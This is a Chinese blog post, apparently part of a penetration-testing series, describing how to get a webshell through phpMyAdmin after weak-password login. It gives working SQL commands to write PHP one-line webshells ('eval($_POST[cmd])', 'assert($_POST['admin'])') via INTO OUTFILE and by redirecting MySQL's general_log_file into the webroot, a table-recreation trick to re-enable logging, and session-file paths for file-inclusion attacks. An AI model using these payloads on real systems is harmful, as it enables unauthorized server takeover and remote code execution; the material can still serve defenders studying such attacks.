当拿到phpmyadin的站点后,我一般会尝试一下几种攻击手法:
1、通过弱口令进入后台,尝试into outfile写入一句话
条件:(1)有写的权限    (2)知道web绝对路径    (3)web路径可写(一般upload目录可写)
show variables like '%secure%';    #如果为null就不可写,=""就可写
select '<?php eval($_POST[cmd]);?>' into outfile 'E:/www/xx/php'; #写入一句话木马
2、全局日志getshell
 
 
3、慢查询日志getshell
 
 
4、phpmyadmin文件包含漏洞getshell(包含session文件、CVE历史漏洞等等)
下面随机列举出几个常见的路径,仅供参考...
session文件一般路径:
1)可通过phpinfo的save_path进行查看 2)Linux:
/var/lib/php/sessions/sess_你的session
/tmp/sessions/sess_你的session
/tmp/sessions/sessions/sess_你的session 3)Phpstudy:/phpStudy/PHPTutorial/tmp/tmp/sess_你的session

本文将围绕通过全局日志getshell展开详细演示:

1、Mysql的两个全局变量:
前提条件:有读写权限,知道绝对路径
general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
general log file 指的是日志的保存路径。

2、目前general_log为off状态,那么日志就没有被记录进去,所以先打开这个全局变量
show variables like '%general%';    //查找全局变量
set global general_log='on'; //打开全局变量
 

打开过后,就会出现日志文件

日志文件内容

那我随便执行一条sql语句看看有没有被记录到日志文件中,果然

3、那么既然日志是保存在这个文件中,要写入一句话,应该要把日志存放的文件位置换成想要生成的一句话木马文件。那么就需要修改general_log_file变量的位置了。
set global general_log_file='D:/phpStudy/PHPTutorial/WWW/xxx.php';  //改变日志生成的地址,/是表示绝对路径
执行成功,去目录下面看看有没有生成这个文件,果然。

4、写入webshell进日志
select '<?php assert($_POST["admin"]);?>';
 

5、访问一波,成功解析。直接上工具连就行

奇技淫巧(来自互联网):
mysql版本: 5.5.53
尝试开启日志功能写文件,但是提示表  mysql.general_log不存在
mysql> set global general_log = on;
ERROR 1146 (42S02): Table 'mysql.general_log' doesn't exist
 
 
解决思路:
从其他数据库中提取表 mysql.general_log信息
然后切换到mysql库中执行以下SQL语句
CREATE TABLE IF NOT EXISTS `general_log` (
`event_time` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
`user_host` mediumtext NOT NULL,
`thread_id` int(11) NOT NULL,
`server_id` int(10) unsigned NOT NULL,
`command_type` varchar(64) NOT NULL,
`argument` mediumtext NOT NULL
) ENGINE=CSV DEFAULT CHARSET=utf8 COMMENT='General log';
 
再次执行:
set global general_log = on;
select 'shell'    即成功拿到shell

phpmyadmin系列渗透思路连载(一)的更多相关文章

  1. CVE-2018-12613 phpmyadmin文件包含getshell连载(三)

    这是phpmyadmin系列渗透思路的第三篇文章,前面一篇文章阐述了通过慢查询日志getshell,本文将通过文件包含漏洞展开讨论 #001 影响版本 Phpmyadmin 4.8.0/4.8.0.1 ...

  2. MSSQL站库分离情况的渗透思路

    本文转自:http://bbs.blackbap.org/thread-6203-1-2.html 1. 服务器属内网环境,站库分离,通过web.config找到数据库服务库SA帐号密码,成功添加用户 ...

  3. XSS 渗透思路笔记

    了解XSS首先要了解HTML里面的元素:共有5种元素:空元素.原始文本元素. RCDATA元素.外来元素以及常规元素. 空元素area.base.br.col. command. embed.hr.i ...

  4. phpmyadmin通过慢查询日志getshell连载(二)

    这是phpmyadmin系列渗透思路的第二篇文章,前面一篇文章阐述了通过全局日志getshell,但是还有一个日志可以getshell,那就是本次实验的慢查询日志,操作类似,毕竟实战中多一条路就多一次 ...

  5. 内网渗透测试思路-FREEBUF

    (在拿到webshell的时候,想办法获取系统信息拿到系统权限) 一.通过常规web渗透,已经拿到webshell.那么接下来作重要的就是探测系统信息,提权,针对windows想办法开启远程桌面连接, ...

  6. 内网横向渗透 之 ATT&CK系列一 win7的yxcms

    Yxcms渗透 前言 通过phpMyAdmin慢日志查询Getshell后,蚁剑连接,发现win7下面还有个cms靶场,于是就兴致勃勃的去打了一波. cms渗透 进入页面后,搜刮了页面所有可见信息,发 ...

  7. web渗透学习目录

    一,基础学习 01.基础学习 [[编码总结]] [[JSON三种数据解析方法]] [[js加密,解密]] [[Internet保留地址和非保留地址.内网和公网.VNC和UltraVN]] 代理 [[S ...

  8. 【渗透实战】记一次艰难的内网漫游第四期_蹭我WIFI?看我如何利用组合拳日进蹭网者内网

    /文章作者:Kali_MG1937 CSDN博客ID:ALDYS4 QQ:3496925334/ 内网漫游系列第三期:[渗透实战]记一次艰难的内网漫游第三期_我是如何利用APT攻击拿到内网最高权限的 ...

  9. 『高性能模型』卷积复杂度以及Inception系列

    转载自知乎:卷积神经网络的复杂度分析 之前的Inception学习博客: 『TensorFlow』读书笔记_Inception_V3_上 『TensorFlow』读书笔记_Inception_V3_下 ...

随机推荐

  1. 6.Set集合类型操作使用

    Set集合类型 (1)介绍 redis的set是string类型的无序集合set元素最大可以包含(2的32次方-1)个元素关于set集合类型除了基本的添加删除操作,其它有用的操作还包含集合的取并集(u ...

  2. eatwhatApp开发实战(十二)

    上次我们介绍了跳转activity并且实现传值的功能,今天我们来实现双击返回键退出app的功能,上代码: 这里我们有两种方式去实现点击事件: 第一种方式: /** * 返回键的监听(系统提供的) */ ...

  3. [wordpress使用]001_环境安装

    Wordpress强大的可扩展性和易用性等功能,使得越来越多的人选择它来建立自己的博客和网站.那么新手朋友该如何入手呢,今天制作这个教程就是旨在帮助新手朋友快速入门,从而为今后WP建站打下坚实的基础. ...

  4. [转]前人挖坑,后人填坑—如何把那些bug挖掘出来

    当我们放下一个项目转投下一个时,手头的东西就要转交给他人处理,或者..不再有人处理,可代码还在那里,搞不好你就引用了别人的东西,保不准哪天别人的代码里就爆出了个大 bug,当然这里的“别人”也可能是 ...

  5. BUUCTF WEB-WP(3)

    BUUCTF WEB 几道web做题的记录 [ACTF2020 新生赛]Exec 知识点:exec命令执行 这题最早是在一个叫中学生CTF平台上看到的类似,比这题稍微要复杂一些,多了一些限制(看看大佬 ...

  6. 遍历集合(Collection)的方法

    使用增强for循环和迭代器遍历集合 package com.aff.coll; import java.util.ArrayList; import java.util.Collection; imp ...

  7. 设计Dog类 代码参考

    #include <iostream> #include <string> using namespace std; class Dog { private: string n ...

  8. 动态ip服务器 动态ip服务器的连接方式

    动态IP服务器指的是在需要的时候才进行随机IP地址分配的服务器.所谓动态就是指当你每一次上网时,电信会随机分配一个IP地址,服务器作为我们设为的大脑,拥有自己独立的账户及密码,通过远程连接动态IP服务 ...

  9. jQuery-显示与隐藏

    1.显示与隐藏 show([speed,easing,function]) speed:毫秒单位的时间值 hide([speed,easing,function]) 用法:元素.show()/元素.h ...

  10. 一文带你深入理解JVM,看完之后你还敢说你懂JVM吗?颠覆you认知

    前言 今天带大家深入理解JVM,从入门到精通,希望大家能够喜欢~~~ 概念 JVM是可运行 Java 代码的假想计算机 ,包括一套字节码指令集.一组寄存器.一个栈.一个垃圾回收,堆 和 一个存储方法域 ...